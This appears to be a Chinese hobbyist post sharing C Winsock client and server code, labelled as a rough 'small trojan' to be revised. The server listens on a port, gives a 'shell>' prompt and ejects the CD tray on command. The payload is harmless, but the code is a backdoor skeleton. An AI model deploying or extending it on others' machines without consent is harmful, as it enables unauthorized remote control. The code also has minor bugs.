【小马待修改】客户机远程打开服务器上的光驱

客户端：

#include<stdio.h>
#include<winsock2.h>
#pragma comment (lib,"ws2_32")
int main(int argc,char *argv[])
{

    WSADATA wsaData;
    WSAStartup(MAKEWORD(2,2),&wsaData);

    SOCKET s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);//申请套接字

    sockaddr_in sockaddr; //申请地址结构，并补充相关信息
    sockaddr.sin_family=PF_INET;
    sockaddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");　　//该ＩＰ用于本地测试用的，运行时请删除注释
    sockaddr.sin_port=htons(827);   //随机选择了个端口

    connect(s,(SOCKADDR*)&sockaddr,sizeof(SOCKADDR));//连接到服务器
    while(1){
        char Buff[MAXBYTE]={0};
        char Cmd[MAXBYTE]={0};
        recv(s,Cmd,MAXBYTE,0);
        printf("%s",Buff);
        scanf("%s",Cmd);
        send(s,Cmd,MAXBYTE,0);
        if(!strcmp(Cmd,"exit")){
            printf("Login out!
");
            break;
        }
        memset(Buff,0,MAXBYTE);
        recv(s,Buff,MAXBYTE,0);
        printf("%s
",Buff);

    }

    closesocket(s);
    getchar();
    WSACleanup();
    return 0;
    
}

服务器端：

#include<winsock2.h>
#include <mmsystem.h>
#pragma comment (lib,"ws2_32")
#pragma comment (lib,"Winmm")

BOOL Dispatch(SOCKET sock,char *Cmd)
{
    BOOL bRet=FALSE;
    if(!strcmp(Cmd,"help")){
        send(sock,"client:hehe
",strlen("hehe
")+sizeof(char),0);
        bRet=TRUE;
    }else if(!strcmp(Cmd,"open")){
        mciSendString("set cdaudio door open",NULL,NULL,NULL);
        send(sock,"client:open
",strlen("client:open
")+sizeof(char),0);
        bRet=TRUE;
    }
    return bRet;
}
int main(int argc,char *argv[])
{
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2,2),&wsaData);

    SOCKET s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);

    sockaddr_in sockaddr;
    sockaddr.sin_family=PF_INET;
    sockaddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
    sockaddr.sin_port=htons(827);

    bind(s,(SOCKADDR*)&sockaddr,sizeof(SOCKADDR));//套接字与地址结构进行绑定
    listen(s,1);//监听连接的最大数量
    SOCKADDR clientAddr;
    int nSize=sizeof(SOCKADDR);
    SOCKET clientSock;//接受客户端的连接的套接字
    clientSock=accept(s,(SOCKADDR*)&clientAddr,&nSize);//阻塞，等待用户连接

    //end(clientSock,"hello client 
",strlen("hello client 
")+sizeof(char),NULL);
    
    while(1){
        send(clientSock,"shell>",strlen("shell>")+sizeof(char),0);
        char buff[MAXBYTE]={0};
        recv(clientSock,buff,MAXBYTE,0);
        if(!strcmp(buff,"exit")){break;}
        BOOL bRet=Dispatch(clientSock,buff);
        if(bRet==FALSE)
        {
            send(clientSock,"Command Unsuccessfully!",strlen("Command Unsuccessfully!")+sizeof(char),0);
        }
    }


    closesocket(clientSock);
    closesocket(s);

    WSACleanup();
    return 0;
}